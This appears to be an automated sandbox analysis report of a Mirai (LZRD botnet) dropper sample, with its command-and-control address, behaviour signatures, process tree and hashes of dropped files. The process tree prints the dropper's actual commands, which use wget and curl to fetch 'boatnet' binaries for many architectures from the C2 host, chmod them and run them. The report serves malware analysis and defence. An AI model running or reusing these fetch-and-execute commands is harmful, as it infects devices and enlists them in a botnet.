Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/09/2026, 19:22

General

  • Target
    ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
  • Size 2KB
  • Sample260910-x3cbnsxvct
  • SHA256 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 93.152.221.22

Extracted

Family
  • mirai

C2
  • 93.152.221.22

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 93.152.221.22

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 93.152.221.22

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 6 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
    /tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:642
    • /bin/rm
      rm -rf boatnet.x86 WTF
      2⤵
        PID:643
      • /usr/bin/wget
        wget http://93.152.221.22/hiddenbin/boatnet.x86
        2⤵
        • Writes file to tmp directory
        PID:646
      • /usr/bin/curl
        curl -O http://93.152.221.22/hiddenbin/boatnet.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:671
      • /bin/rm
        rm -rf boatnet.mips WTF
        2⤵
        • System Network Configuration Discovery
        PID:673
      • /bin/rm
        rm -rf WTF
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://93.152.221.22/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:675
        • /bin/cat
          cat boatnet.x86
          2⤵
            PID:676
          • /bin/chmod
            chmod 777 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:677
          • /tmp/WTF
            ./WTF telnet.x86
            2⤵
              PID:672
            • /usr/bin/curl
              curl -O http://93.152.221.22/hiddenbin/boatnet.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:693
            • /bin/rm
              rm -rf boatnet.arc WTF
              2⤵
                PID:721
              • /bin/rm
                rm -rf WTF
                2⤵
                  PID:722
                • /usr/bin/wget
                  wget http://93.152.221.22/hiddenbin/boatnet.arc
                  2⤵
                  • Writes file to tmp directory
                  PID:723
                • /bin/cat
                  cat boatnet.mips
                  2⤵
                  • System Network Configuration Discovery
                  PID:725
                • /bin/chmod
                  chmod 777 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:727
                • /tmp/WTF
                  ./WTF telnet.mips
                  2⤵
                  • System Network Configuration Discovery
                  PID:720
                • /usr/bin/curl
                  curl -O http://93.152.221.22/hiddenbin/boatnet.arc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:732
                • /bin/rm
                  rm -rf boatnet.mpsl WTF
                  2⤵
                    PID:737
                  • /bin/rm
                    rm -rf WTF
                    2⤵
                      PID:739
                    • /usr/bin/wget
                      wget http://93.152.221.22/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:740
                    • /bin/cat
                      cat boatnet.arc
                      2⤵
                        PID:741
                      • /bin/chmod
                        chmod 777 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:743
                      • /tmp/WTF
                        ./WTF telnet.arc
                        2⤵
                          PID:736
                        • /usr/bin/curl
                          curl -O http://93.152.221.22/hiddenbin/boatnet.mpsl
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:768
                        • /bin/rm
                          rm -rf boatnet.arm WTF
                          2⤵
                            PID:772
                          • /bin/rm
                            rm -rf WTF
                            2⤵
                              PID:773
                            • /usr/bin/wget
                              wget http://93.152.221.22/hiddenbin/boatnet.arm
                              2⤵
                              • Writes file to tmp directory
                              PID:774
                            • /bin/cat
                              cat boatnet.mpsl
                              2⤵
                                PID:775
                              • /bin/chmod
                                chmod 777 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:776
                              • /tmp/WTF
                                ./WTF telnet.mpsl
                                2⤵
                                  PID:771
                                • /usr/bin/curl
                                  curl -O http://93.152.221.22/hiddenbin/boatnet.arm
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:778
                                • /bin/rm
                                  rm -rf boatnet.arm5 WTF
                                  2⤵
                                    PID:780
                                  • /bin/rm
                                    rm -rf WTF
                                    2⤵
                                      PID:781
                                    • /usr/bin/wget
                                      wget http://93.152.221.22/hiddenbin/boatnet.arm5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:782
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:783
                                      • /bin/chmod
                                        chmod 777 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:784
                                      • /tmp/WTF
                                        ./WTF telnet.arm
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:779
                                      • /usr/bin/curl
                                        curl -O http://93.152.221.22/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:788
                                      • /bin/rm
                                        rm -rf boatnet.arm6 WTF
                                        2⤵
                                          PID:790
                                        • /bin/rm
                                          rm -rf WTF
                                          2⤵
                                            PID:791
                                          • /usr/bin/wget
                                            wget http://93.152.221.22/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:792
                                          • /bin/cat
                                            cat boatnet.arm5
                                            2⤵
                                              PID:793
                                            • /bin/chmod
                                              chmod 777 WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:794
                                            • /tmp/WTF
                                              ./WTF telnet.arm5
                                              2⤵
                                              • Modifies Watchdog functionality
                                              • Writes file to system bin folder
                                              • Reads runtime system information
                                              PID:789
                                            • /usr/bin/curl
                                              curl -O http://93.152.221.22/hiddenbin/boatnet.arm6
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:798
                                            • /bin/rm
                                              rm -rf boatnet.arm7 WTF
                                              2⤵
                                                PID:800
                                              • /bin/rm
                                                rm -rf WTF
                                                2⤵
                                                  PID:801
                                                • /usr/bin/wget
                                                  wget http://93.152.221.22/hiddenbin/boatnet.arm7
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:802
                                                • /bin/cat
                                                  cat boatnet.arm6
                                                  2⤵
                                                    PID:803
                                                  • /bin/chmod
                                                    chmod 777 WTF
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:804
                                                  • /tmp/WTF
                                                    ./WTF telnet.arm6
                                                    2⤵
                                                      PID:799
                                                    • /usr/bin/curl
                                                      curl -O http://93.152.221.22/hiddenbin/boatnet.arm7
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:805
                                                    • /bin/rm
                                                      rm -rf boatnet.ppc WTF
                                                      2⤵
                                                        PID:808
                                                      • /bin/rm
                                                        rm -rf WTF
                                                        2⤵
                                                          PID:809
                                                        • /usr/bin/wget
                                                          wget http://93.152.221.22/hiddenbin/boatnet.ppc
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:810
                                                        • /bin/cat
                                                          cat boatnet.arm7
                                                          2⤵
                                                            PID:812
                                                          • /bin/chmod
                                                            chmod 777 WTF
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:813
                                                          • /tmp/WTF
                                                            ./WTF telnet.arm7
                                                            2⤵
                                                            • Modifies Watchdog functionality
                                                            • Writes file to system bin folder
                                                            • Reads runtime system information
                                                            PID:807
                                                          • /usr/bin/curl
                                                            curl -O http://93.152.221.22/hiddenbin/boatnet.ppc
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:817
                                                          • /bin/rm
                                                            rm -rf boatnet.m68k WTF
                                                            2⤵
                                                              PID:819
                                                            • /bin/rm
                                                              rm -rf WTF
                                                              2⤵
                                                                PID:820
                                                              • /usr/bin/wget
                                                                wget http://93.152.221.22/hiddenbin/boatnet.m68k
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:821
                                                              • /bin/cat
                                                                cat boatnet.ppc
                                                                2⤵
                                                                  PID:822
                                                                • /bin/chmod
                                                                  chmod 777 WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:823
                                                                • /tmp/WTF
                                                                  ./WTF telnet.ppc
                                                                  2⤵
                                                                    PID:818
                                                                  • /usr/bin/curl
                                                                    curl -O http://93.152.221.22/hiddenbin/boatnet.m68k
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:825
                                                                  • /bin/rm
                                                                    rm -rf boatnet.sh4 WTF
                                                                    2⤵
                                                                      PID:827
                                                                    • /bin/rm
                                                                      rm -rf WTF
                                                                      2⤵
                                                                        PID:828
                                                                      • /bin/cat
                                                                        cat boatnet.m68k
                                                                        2⤵
                                                                          PID:830
                                                                        • /usr/bin/wget
                                                                          wget http://93.152.221.22/hiddenbin/boatnet.sh4
                                                                          2⤵
                                                                          • Writes file to tmp directory
                                                                          PID:829
                                                                        • /bin/chmod
                                                                          chmod 777 WTF
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:831
                                                                        • /tmp/WTF
                                                                          ./WTF telnet.m68k
                                                                          2⤵
                                                                            PID:826
                                                                          • /usr/bin/curl
                                                                            curl -O http://93.152.221.22/hiddenbin/boatnet.sh4
                                                                            2⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • Writes file to tmp directory
                                                                            PID:833
                                                                          • /bin/rm
                                                                            rm -rf WTF
                                                                            2⤵
                                                                              PID:835
                                                                            • /bin/cat
                                                                              cat boatnet.sh4
                                                                              2⤵
                                                                                PID:836
                                                                              • /bin/chmod
                                                                                chmod 777 WTF
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:837
                                                                            • /tmp/WTF
                                                                              ./WTF telnet.sh4
                                                                              1⤵
                                                                                PID:834

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v16

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 202KB
                                                                                    • SHA256 77820b9edff723a4c6ad8752c1cc5b443fccf57aaca82944598e28a847508286
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 153KB
                                                                                    • SHA256 254fcb123b2574664ecc127e02e842eb8996095dc4c7788eeb446a6822bb8752
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 206KB
                                                                                    • SHA256 1cf42fc4fe44fda09cbdaf754ae9589ab7690b1078467a465f23b86c0a28e329
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    WTF

                                                                                    • Path /tmp/WTF
                                                                                    • Size 219KB
                                                                                    • SHA256 66561bbde233bc5a7d8ad40543bfa0b3a895e7da0f5745ca9e67968295b52b7a
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                    boatnet.x86

                                                                                    • Path /tmp/boatnet.x86
                                                                                    • Size 120KB
                                                                                    • SHA256 9ce6baace15dff75745ab8028f5d49dcc18082e7110dc035fa20328a4d2c935c
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH